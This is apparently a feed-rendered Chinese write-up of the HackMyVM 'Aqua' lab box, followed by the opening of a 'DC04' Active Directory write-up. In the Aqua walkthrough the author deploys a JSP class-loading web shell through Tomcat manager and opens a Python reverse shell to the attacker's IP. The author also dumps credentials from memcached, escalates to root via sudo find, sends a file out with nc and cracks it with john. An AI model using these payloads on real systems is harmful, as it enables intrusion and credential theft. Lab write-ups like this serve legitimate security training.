		&amp;lt;div class=&amp;quot;header-video&amp;quot;&amp;gt;
			&amp;lt;video src=&amp;quot;img/video.mp4&amp;quot; autoplay loop muted&amp;gt;&amp;lt;/video/&amp;gt;
		&amp;lt;/div&amp;gt;
	
		&amp;lt;div class=&amp;quot;header-overlay&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;	
		
		&amp;lt;div class=&amp;quot;header-content&amp;quot;&amp;gt;
			&amp;lt;h1&amp;gt; El agua (del latín aqua)&amp;lt;/h1&amp;gt;
			&amp;lt;p&amp;gt; El (agua)1 es una sustancia cuya molécula está compuesta por dos átomos de hidrógeno y uno de oxígeno (H2O)2. El término agua, generalmente, se refiere a la sustancia en su estado líquido, aunque esta puede hallarse en su forma sólida, llamada hielo, y en su forma gaseosa, denominada vapor.Es una sustancia bastante común en la Tierra y el sistema solar, donde se encuentra principalmente en forma de vapor o de hielo. Es indispensable para el origen y supervivencia de la gran mayoría de formas de vida conocidas.
			&amp;lt;/p&amp;gt;
				
			&amp;lt;p&amp;gt;El agua recubre el 71 % de la superficie de la corteza terrestre.Se localiza principalmente en los océanos, donde se concentra el 96,5 % del agua total. A los glaciares y casquetes polares les corresponde el 1,74 %, mientras que los depósitos subterráneos (acuíferos), los permafrost y los glaciares continentales concentran el 1,72 %. El restante 0,04 % se reparte en orden decreciente entre lagos, humedad del suelo, atmósfera, embalses, ríos y seres vivos.El agua circula constantemente en un ciclo de evaporación o transpiración (evapotranspiración), precipitación y desplazamiento hacia el mar. Los vientos la transportan en las nubes, como vapor de agua, desde el mar, y en sentido inverso tanta agua como la que se vierte desde los ríos en los mares, en una cantidad aproximada de 45 000 km³ al año. En tierra firme, la evaporación y transpiración contribuyen con 74 000 km³ anuales, por lo que las precipitaciones totales son de 119 000 km³ cada año.
			&amp;lt;/p&amp;gt;

			&amp;lt;p&amp;gt; Se estima que aproximadamente el 70 % del agua dulce se destina a la agricultura.El agua en la industria absorbe una media del 20 % del consumo mundial, empleándose en tareas de refrigeración, transporte y como disolvente en una gran variedad de procesos industriales. El consumo doméstico absorbe el 10 % restante. El acceso al agua potable se ha incrementado durante las últimas décadas en prácticamente todos los países.8​9​ Sin embargo, estudios de la FAO estiman que uno de cada cinco países en vías de desarrollo tendrá problemas de escasez de agua antes de 2030; en esos países es vital un menor gasto de agua en la agricultura, modernizando los sistemas de riego.
			&amp;lt;/p&amp;gt;
			&amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;about&amp;lt;/a&amp;gt;
			&amp;lt;a href=&amp;quot;#&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;contact&amp;lt;/a&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/header&amp;gt;
 &amp;lt;/body&amp;gt;  
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(agua)1  (H2O)2 &lt;/p&gt;
&lt;p&gt;真阴间啊&lt;/p&gt;
&lt;p&gt;view-source:&lt;a href=&quot;http://172.16.52.195/SuperCMS/&quot;&gt;http://172.16.52.195/SuperCMS/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码最底下有&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Aqua-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;!-- MT0yID0gcGFzc3dvcmRfemlwCg==--&gt;

&lt;p&gt;base64解密&lt;/p&gt;
&lt;p&gt;1=2 = password_zip&lt;/p&gt;
&lt;p&gt;进行解压&lt;/p&gt;
&lt;p&gt;密码为&lt;/p&gt;
&lt;p&gt;agua=H2O&lt;/p&gt;
&lt;h2&gt;tomcat-users&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the &amp;quot;License&amp;quot;); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an &amp;quot;AS IS&amp;quot; BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
--&amp;gt;
&amp;lt;tomcat-users xmlns=&amp;quot;http://tomcat.apache.org/xml&amp;quot;
              xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;
              xsi:schemaLocation=&amp;quot;http://tomcat.apache.org/xml tomcat-users.xsd&amp;quot;
              version=&amp;quot;1.0&amp;quot;&amp;gt;
&amp;lt;!--
  NOTE:  By default, no user is included in the &amp;quot;manager-gui&amp;quot; role required
  to operate the &amp;quot;/manager/html&amp;quot; web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
--&amp;gt;
&amp;lt;!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the &amp;lt;!.. ..&amp;gt; that surrounds
  them. You will also need to set the passwords to something appropriate.
--&amp;gt;
&amp;lt;!--
  &amp;lt;role rolename=&amp;quot;tomcat&amp;quot;/&amp;gt;
  &amp;lt;role rolename=&amp;quot;role1&amp;quot;/&amp;gt;
  &amp;lt;user username=&amp;quot;tomcat&amp;quot; password=&amp;quot;&amp;lt;must-be-changed&amp;gt;&amp;quot; roles=&amp;quot;tomcat&amp;quot;/&amp;gt;
  &amp;lt;user username=&amp;quot;both&amp;quot; password=&amp;quot;&amp;lt;must-be-changed&amp;gt;&amp;quot; roles=&amp;quot;tomcat,role1&amp;quot;/&amp;gt;
  &amp;lt;user username=&amp;quot;role1&amp;quot; password=&amp;quot;&amp;lt;must-be-changed&amp;gt;&amp;quot; roles=&amp;quot;role1&amp;quot;/&amp;gt;
--&amp;gt;
        &amp;lt;role rolename=&amp;quot;manager-gui&amp;quot;/&amp;gt;
        &amp;lt;role rolename=&amp;quot;admin-gui&amp;quot;/&amp;gt;
        &amp;lt;user username=&amp;quot;aquaMan&amp;quot; password=&amp;quot;P4st3lM4n&amp;quot; roles=&amp;quot;manager-gui,admin-gui&amp;quot;/&amp;gt;
&amp;lt;/tomcat-users&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;8080端口&lt;/h1&gt;
&lt;p&gt;Apache Tomcat 8.5.5&lt;/p&gt;
&lt;p&gt;username=&amp;quot;aquaMan&amp;quot; password=&amp;quot;P4st3lM4n&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Aqua-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在 Manager 的 Deploy → WAR file to upload 这里上传你自己的 WAR 包即可&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;%!

    class U extends ClassLoader {

        U(ClassLoader c) {

            super(c);

        }

        public Class g(byte[] b) {

            return super.defineClass(b, 0, b.length);

        }

    }

 

    public byte[] base64Decode(String str) throws Exception {

        try {

            Class clazz = Class.forName(&amp;quot;sun.misc.BASE64Decoder&amp;quot;);

            return (byte[]) clazz.getMethod(&amp;quot;decodeBuffer&amp;quot;, String.class).invoke(clazz.newInstance(), str);

        } catch (Exception e) {

            Class clazz = Class.forName(&amp;quot;java.util.Base64&amp;quot;);

            Object decoder = clazz.getMethod(&amp;quot;getDecoder&amp;quot;).invoke(null);

            return (byte[]) decoder.getClass().getMethod(&amp;quot;decode&amp;quot;, String.class).invoke(decoder, str);

        }

    }

%&amp;gt;

&amp;lt;%

    String cls = request.getParameter(&amp;quot;hack&amp;quot;);

    if (cls != null) {

        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

    }

%&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir exp &amp;amp;&amp;amp; cp exp.jsp exp/ &amp;amp;&amp;amp; jar -cvf exp.war -C exp .
生成的文件：
exp.war
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Aqua-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;tomcat提权&lt;/h1&gt;
&lt;h2&gt;ps进程&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tomcat:/) $ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.8 159712  8992 ?        Ss   06:34   0:14 /sbin/init maybe-ubiquity
root         2  0.0  0.0      0     0 ?        S    06:34   0:00 [kthreadd]
root         4  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [mm_percpu_wq]
root         7  0.0  0.0      0     0 ?        S    06:34   0:03 [ksoftirqd/0]
root         8  0.0  0.0      0     0 ?        I    06:34   0:01 [rcu_sched]
root         9  0.0  0.0      0     0 ?        I    06:34   0:00 [rcu_bh]
root        10  0.0  0.0      0     0 ?        S    06:34   0:00 [migration/0]
root        11  0.0  0.0      0     0 ?        S    06:34   0:00 [watchdog/0]
root        12  0.0  0.0      0     0 ?        S    06:34   0:00 [cpuhp/0]
root        13  0.0  0.0      0     0 ?        S    06:34   0:00 [kdevtmpfs]
root        14  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [netns]
root        15  0.0  0.0      0     0 ?        S    06:34   0:00 [rcu_tasks_kthre]
root        16  0.0  0.0      0     0 ?        S    06:34   0:00 [kauditd]
root        17  0.0  0.0      0     0 ?        S    06:34   0:00 [khungtaskd]
root        18  0.0  0.0      0     0 ?        S    06:34   0:00 [oom_reaper]
root        19  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [writeback]
root        20  0.0  0.0      0     0 ?        S    06:34   0:00 [kcompactd0]
root        21  0.0  0.0      0     0 ?        SN   06:34   0:00 [ksmd]
root        22  0.0  0.0      0     0 ?        SN   06:34   0:00 [khugepaged]
root        23  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [crypto]
root        24  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kintegrityd]
root        25  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kblockd]
root        26  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ata_sff]
root        27  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [md]
root        28  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [edac-poller]
root        29  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [devfreq_wq]
root        30  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [watchdogd]
root        34  0.0  0.0      0     0 ?        S    06:34   0:00 [kswapd0]
root        35  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kworker/u3:0]
root        36  0.0  0.0      0     0 ?        S    06:34   0:00 [ecryptfs-kthrea]
root        78  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kthrotld]
root        79  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [acpi_thermal_pm]
root        80  0.0  0.0      0     0 ?        S    06:34   0:00 [scsi_eh_0]
root        81  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [scsi_tmf_0]
root        82  0.0  0.0      0     0 ?        S    06:34   0:00 [scsi_eh_1]
root        83  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [scsi_tmf_1]
root        85  0.0  0.0      0     0 ?        I    06:34   0:01 [kworker/u2:3]
root        89  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ipv6_addrconf]
root        98  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kstrp]
root       115  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [charger_manager]
root       175  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ttm_swap]
root       180  0.0  0.0      0     0 ?        S    06:34   0:00 [irq/18-vmwgfx]
root       213  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kworker/0:1H]
root       214  0.0  0.0      0     0 ?        S    06:34   0:00 [scsi_eh_2]
root       215  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [scsi_tmf_2]
root       221  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [kdmflush]
root       222  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [bioset]
root       291  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [raid5wq]
root       345  0.0  0.0      0     0 ?        S    06:34   0:00 [jbd2/dm-0-8]
root       346  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ext4-rsv-conver]
root       408  0.0  5.8 160228 58988 ?        S&amp;lt;s  06:34   0:04 /lib/systemd/systemd-journald
root       421  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [iscsi_eh]
root       422  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ib-comp-wq]
root       423  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ib-comp-unb-wq]
root       424  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ib_mcast]
root       425  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [ib_nl_sa_wq]
root       426  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [rdma_cm]
root       430  0.0  0.1 105912  1868 ?        Ss   06:34   0:00 /sbin/lvmetad -f
root       437  0.3  0.5  47220  6052 ?        Ss   06:34   0:28 /lib/systemd/systemd-udevd
systemd+   471  0.0  0.3 141960  3328 ?        Ssl  06:34   0:00 /lib/systemd/systemd-timesyncd
root       478  0.0  0.0      0     0 ?        I&amp;lt;   06:34   0:00 [iprt-VBoxWQueue]
systemd+   668  0.0  0.5  80088  5448 ?        Ss   06:34   0:00 /lib/systemd/systemd-networkd
systemd+   690  0.0  0.5  70668  5292 ?        Ss   06:34   0:00 /lib/systemd/systemd-resolved
root       763  0.0  0.5  62168  5828 ?        Ss   06:34   0:00 /lib/systemd/systemd-logind
message+   765  0.0  0.4  50052  4672 ?        Ss   06:34   0:02 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
memcache   810  0.0  0.4 425800  4128 ?        Ssl  06:34   0:04 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1
root       812  0.0  1.7 169192 17180 ?        Ssl  06:34   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
syslog     813  0.0  0.4 267276  4904 ?        Ssl  06:34   0:00 /usr/sbin/rsyslogd -n
daemon     815  0.0  0.2  28340  2464 ?        Ss   06:34   0:00 /usr/sbin/atd -f
root       817  0.0  0.3  30112  3160 ?        Ss   06:34   0:00 /usr/sbin/cron -f
root       818  0.0  0.6 286456  6900 ?        Ssl  06:34   0:00 /usr/lib/accountsservice/accounts-daemon
root       819  0.0  0.8  32968  8284 ?        Ss   06:34   0:00 /usr/bin/python /root/server.py
root       820  0.0  0.1  95548  1680 ?        Ssl  06:34   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root       833  0.0  0.4   8924  4192 ?        Ss   06:34   0:00 /usr/sbin/knockd -i enp0s3
root       950  0.0  0.2  29156  2896 ?        Ss   06:34   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root       951  0.0  1.9 186044 20064 ?        Ssl  06:34   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root       973  0.0  0.6  72308  6548 ?        Ss   06:34   0:00 /usr/sbin/sshd -D
root      1025  0.0  0.1  13252  1964 tty1     Ss+  06:34   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root      1026  0.0  0.6 288888  6572 ?        Ssl  06:34   0:00 /usr/lib/policykit-1/polkitd --no-debug
tomcat    1143  0.1 23.8 3228624 240712 ?      Sl   06:34   0:13 /usr/lib/jvm/java-1.11.0-openjdk-amd64/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom -Djdk.tls.ephemeralDHKeySize=2048 -Xms512M -Xmx1024M -server -XX:+UseParallelGC -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start
root      1466  0.0  1.7 340008 17544 ?        Ss   06:34   0:00 /usr/sbin/apache2 -k start
www-data  1752  0.0  1.0 344720 10676 ?        S    06:34   0:00 /usr/sbin/apache2 -k start
www-data  1756  0.0  1.0 344656 10612 ?        S    06:34   0:00 /usr/sbin/apache2 -k start
root      3323  0.0  0.0      0     0 ?        I    08:46   0:00 [kworker/u2:1]
root     11175  0.0  0.0      0     0 ?        I    08:54   0:00 [kworker/0:2]
root     16324  0.0  0.0      0     0 ?        I    08:59   0:00 [kworker/0:0]
tomcat   21309  0.0  0.0   4636   924 ?        S    09:04   0:00 /bin/sh -c cd &amp;quot;/&amp;quot;;ps aux;echo 8b4a2db5a;pwd;echo 5ed6dbb6
tomcat   21310  0.0  0.3  38456  3616 ?        R    09:04   0:00 ps aux
root     21311  0.0  0.4  47220  4436 ?        R    09:04   0:00 /lib/systemd/systemd-udevd
root     21312  0.0  0.3  47220  4008 ?        R    09:04   0:00 /lib/systemd/systemd-udevd
root     21313  0.0  0.3  47220  3816 ?        R    09:04   0:00 /lib/systemd/systemd-udevd
root     21314  0.0  0.3  47220  3816 ?        R    09:04   0:00 /lib/systemd/systemd-udevd
root     21315  0.0  0.0      0     0 ?        Z    09:04   0:00 [systemd-udevd] &amp;lt;defunct&amp;gt;
root     21316  0.0  0.3  47220  3880 ?        R    09:04   0:00 /lib/systemd/systemd-udevd
www-data 26420  0.0  1.0 344720 10684 ?        S    06:59   0:00 /usr/sbin/apache2 -k start
www-data 26491  0.0  1.0 344656 10620 ?        S    06:59   0:00 /usr/sbin/apache2 -k start
www-data 26530  0.0  1.0 344664 10632 ?        S    06:59   0:00 /usr/sbin/apache2 -k start
root     28143  0.0  0.0      0     0 ?        I    08:39   0:01 [kworker/0:1]
www-data 31112  0.0  1.0 344656 10620 ?        S    07:04   0:00 /usr/sbin/apache2 -k start
www-data 31113  0.0  1.0 344656 10620 ?        S    07:04   0:00 /usr/sbin/apache2 -k start
www-data 31130  0.0  1.0 344720 10684 ?        S    07:04   0:00 /usr/sbin/apache2 -k start
www-data 31131  0.0  1.0 344656 10620 ?        S    07:04   0:00 /usr/sbin/apache2 -k start
www-data 31132  0.0  1.0 344656 10620 ?        S    07:04   0:00 /usr/sbin/apache2 -k start
root     32627  0.0  0.0      0     0 ?        I    07:38   0:00 [kworker/u2:2]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;memcache   810  0.0  0.4 425800  4128 ?        Ssl  06:34   0:04 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;telnet 127.0.0.1 11211&lt;/p&gt;
&lt;p&gt;发现蚁剑终端不好用&lt;/p&gt;
&lt;p&gt;懒得反弹上传shell了直接用终端反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python -c &amp;#39;import socket,os,pty;s=socket.socket();s.connect((&amp;quot;172.16.55.210&amp;quot;,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&amp;quot;/bin/sh&amp;quot;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# nc -lvvp 4444
listening on [any] 4444 ...
172.16.52.195: inverse host lookup failed: Host name lookup failure
connect to [172.16.55.210] from (UNKNOWN) [172.16.52.195] 47118
/bin/sh: 0: can&amp;#39;t access tty; job control turned off
$ whoami
tomcat

python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;
$ python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;                    
python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;                      
tomcat@Atlantis:/$ 


tomcat@Atlantis:/$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is &amp;#39;^]&amp;#39;.
ERROR

get username
get username
VALUE username 0 8
tridente
END
get password
get password
VALUE password 0 18
N3ptun0D10sd3lM4r$
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# ssh tridente@172.16.52.195                                          
The authenticity of host &amp;#39;172.16.52.195 (172.16.52.195)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:0AywQESzfZyECG/0KTquKNzvJNE23REqvogOSySwo54.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;172.16.52.195&amp;#39; (ED25519) to the list of known hosts.
tridente@172.16.52.195&amp;#39;s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-143-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Dec 10 09:19:33 UTC 2025

  System load:  0.0                Processes:             127
  Usage of /:   29.9% of 14.70GB   Users logged in:       0
  Memory usage: 51%                IP address for enp0s3: 172.16.52.195
  Swap usage:   0%


181 packages can be updated.
113 updates are security updates.


Last login: Wed Mar 16 20:53:29 2022 from 192.168.0.55
tridente@Atlantis:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;tridente提权&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tridente@Atlantis:~$ sudo -l
[sudo] password for tridente: 
Matching Defaults entries for tridente on Atlantis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tridente may run the following commands on Atlantis:
    (root) /home/tridente/find
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;find特权&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tridente@Atlantis:~$ sudo /home/tridente/find . -exec /bin/bash \;
root@Atlantis:~# 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root@Atlantis:~# cat user.txt 
Bien echo ya tienes el tridente

flag --&amp;gt; f506a6ee37275430ac07caa95914aeba
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc 172.16.55.210 5555 &amp;lt; root.txt.gpg 
nc -lvnp 5555 &amp;gt; root.txt.gpg 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;gpg 是什么&lt;/p&gt;
&lt;h6&gt;ChatGPT 说：&lt;/h6&gt;
&lt;p&gt;&lt;code&gt;gpg&lt;/code&gt; 是 &lt;strong&gt;GNU Privacy Guard&lt;/strong&gt; 的缩写，是 Linux/Unix 下非常常用的 &lt;strong&gt;加密和签名工具&lt;/strong&gt;，用来保护文件或通信内容的安全。它基于 &lt;strong&gt;PGP（Pretty Good Privacy）&lt;/strong&gt; 标准。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# gpg2john root.txt.gpg &amp;gt; flag_hash

File root.txt.gpg
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/hmv/aqua]
└─# john flag_hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 41943040 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
arthur           (?)     
1g 0:00:00:13 DONE (2025-12-10 19:58) 0.07220g/s 103.3p/s 103.3c/s 103.3C/s bernard..12345a
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆破得出来密码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gpg root.txt.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Bien hecho Arthur eres el nuevo Rey de la Atlantida

flag --&amp;gt; e16957fbc9202932b1dc7fe3e10a197e
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/aqua/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/aqua/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate></item><item><title>HMV-DC04</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/dc04/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/dc04/</guid><description>Well, no more easy kakes. Hope you enjoy this one too.</description><content:encoded>&lt;h1&gt;IP寻址&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.52.135   08:00:27:7a:98:40       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 172.16.52.135                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-09 07:46 EST
Nmap scan report for 172.16.52.135
Host is up (0.00032s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://soupedecode.local
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-10 04:47:21Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 15h59m58s
|_nbstat: NetBIOS name: DC01, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:7a:98:40 (Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2025-12-10T04:47:22
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.29 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SMB匿名连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 172.16.52.135 -N                                                           
session setup failed: NT_STATUS_ACCESS_DENIED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意料之中&lt;/p&gt;
&lt;h2&gt;kerbrute枚举用户&lt;/h2&gt;
